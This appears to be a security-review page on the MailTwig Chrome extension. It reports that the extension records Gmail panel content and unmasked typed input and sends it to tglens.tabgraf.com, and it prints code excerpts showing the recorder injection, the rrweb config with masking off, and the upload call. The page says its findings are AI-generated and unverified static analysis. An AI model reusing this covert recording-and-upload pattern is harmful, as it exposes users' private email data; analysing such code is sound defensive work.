Is MailTwig – Export Emails, AI Data Parsing & Mail Merge safe?

Medium risk

MailTwig records full DOM snapshots, typed input and mouse events on its pages and sends them to tglens.tabgraf.com.

Every MailTwig page loaded into Gmail includes a session recorder script (tglens.js) that does not mask inputs. It captures page text such as email subjects, addresses, parsed email fields and recipient lists, plus typed values, and posts them in chunks every few seconds to tglens.tabgraf.com.

Tabgrafv4.7.0Chrome Web Store
49Risk
Who publishes it

Tabgraf Technologies LLP - 6 other listings from the same operator, 5 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Tabgraf
Declared legal entity
Tabgraf Technologies LLP

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

recharts.github.io
Also called by 2 other listings, including Discogs Enhancer
react-redux.js.org
Also called by 3 other listings, including Discogs Enhancer, Roger Companion

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

MailTwig panels send page content and typed input to tglens.tabgraf.com

Code analysis shows MailTwig panels load an rrweb recorder with input masking off and post page snapshots, text and typed values to tglens.tabgraf.com every few seconds.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You open any MailTwig panel inside Gmail, such as export details or the campaign list.

The extension did this

The panel starts a session recorder that sends what is on screen to tglens.tabgraf.com.

The code that does this

Wrapper injects the recorder with a fixed project id and endpoint

Readable version
var CommonUtilityWrapper = ({ children }) => {	const injectTgLens = () => {		if (document.getElementById("tgLens")) return;		const script = document.createElement("script");		script.id = "tgLens";		script.src = "/tglens.js";		script.async = true;		script.setAttribute("data-project-id", "12");		script.setAttribute("data-endpoint", "https://tglens.tabgraf.com");		script.setAttribute("data-max-events-per-chunk", "10000");		document.body.appendChild(script);	};	const removeTgLens = () => {
The code that does this

rrweb configured with no input masking

Readable version
          }        },        checkoutEveryNms: 5 * 60 * 1000,        recordCanvas: cfg.recordCanvas,        collectFonts: false,        inlineImages: cfg.inlineImages,        maskAllInputs: false,        maskInputOptions: {},        sampling: cfg.sampling      });      if (!hasSeenFullSnapshot && window.rrweb && window.rrweb.record && window.rrweb.record.takeFullSnapshot) {        window.rrweb.record.takeFullSnapshot(true);
Fields in each ingest request body
  • DOM snapshot events
    type 2 full snapshot, type 3 incremental

    Text shown in the panel, such as subjects and addresses, is included.

  • Typed input values
    input events with text values

    Values typed into panel fields are recorded unmasked.

  • Page URL and title
    chrome-extension page URL

    The panel address and title travel in the metadata.

  • Browser details
    stats clicks and keys

    User agent, language and click and key counts are included.

  • Session id
    UUID in localStorage

    A stored id links chunks from the same browser.

The code that does this

Worker builds the body and posts it to /api/ingest

Readable version
        const bodyString = "{" + '"projectId":' + JSON.stringify(payloadKey) + "," + '"sessionId":' + JSON.stringify(sessionId) + "," + '"chunkIndex":' + requestChunkIndex + "," + '"events":' + eventsJson + "," + '"meta":' + JSON.stringify(meta) + "}";        const result = await postJson(cfg.endpoint + "/api/ingest", bodyString, true);
Where recorded data is sent
    • tglens.tabgraf.com

    Receives rrweb event chunks at /api/ingest for project id 12.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed MailTwig – Export Emails, AI Data Parsing & Mail Merge contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • tglens.tabgraf.com

    MailTwig – Export Emails, AI Data Parsing & Mail Merge sends data to tglens.tabgraf.com. 4 other extensions we have analysed send data here.

Updated 15 October 2026okiaonnmhdfafgfcgbpfeghaigfmgocc